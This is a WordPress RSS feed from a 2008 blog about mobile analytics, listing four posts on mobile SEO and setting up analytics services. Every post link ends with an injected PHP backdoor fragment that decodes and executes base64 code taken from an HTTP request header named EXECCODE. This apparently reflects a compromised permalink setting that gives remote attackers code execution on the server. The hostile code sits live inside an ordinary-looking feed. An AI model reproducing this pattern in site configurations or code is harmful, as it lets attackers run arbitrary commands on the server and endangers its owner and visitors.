<?xml version="1.0" encoding="UTF-8"?><!-- generator="WordPress/2.6.2" -->
<rss version="0.92">
<channel>
	<title>Mobile Analytics</title>
	<link>http://mobileanalytics.us</link>
	<description>The little guy's journey through mobile analytics.</description>
	<lastBuildDate>Mon, 06 Oct 2008 11:58:25 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	
	<item>
		<title>Using Mobile SEO with Mobile Analytics</title>
		<description>So here poses the big question. How can mobile analytics help me with mobile SEO (Search Engine Optimisation)? The first key point is to make the site usable on a mobile phone. Due to the limited screen size of a mobile phone and the limited bandwidth, it is important to ...</description>
		<link>http://mobileanalytics.us/2008/10/06/using-mobile-seo-with-mobile-analytics/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Getting Started with Mobile Analytics: Part 2</title>
		<description>After choosing to go with Bango’s mobile analytics, I went over to their site, and got onto the “Mobile Analytics” page via the link at the top. Then clicking the “Free - Try Bango Analytics” button, I went through the signup process. I feel that I should note that I ...</description>
		<link>http://mobileanalytics.us/2008/10/01/getting-started-with-mobile-analytics-part-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Getting Started with Mobile Analytics: Part 1</title>
		<description>The first thing I did was to decide which mobile analytics solution to go with. My decision was largely influenced by posts on other blogs, and also the possibility of being able to sign up there and then.

The first site I attempted to sign up to was Mobilytics.net, however after ...</description>
		<link>http://mobileanalytics.us/2008/09/03/getting-started-with-mobile-analytics-part-1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Into the unknown..with mobile analytics</title>
		<description>Coming from a web based background where I understood analytics and I could use my Google Analytics without a problem was great. This was until I tried to implement my web analytics techniques for a mobile site. To cut a long story short, I ended up with a complete mess ...</description>
		<link>http://mobileanalytics.us/2008/08/20/into-the-unknown-moblie-analytics/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
</channel>
</rss>
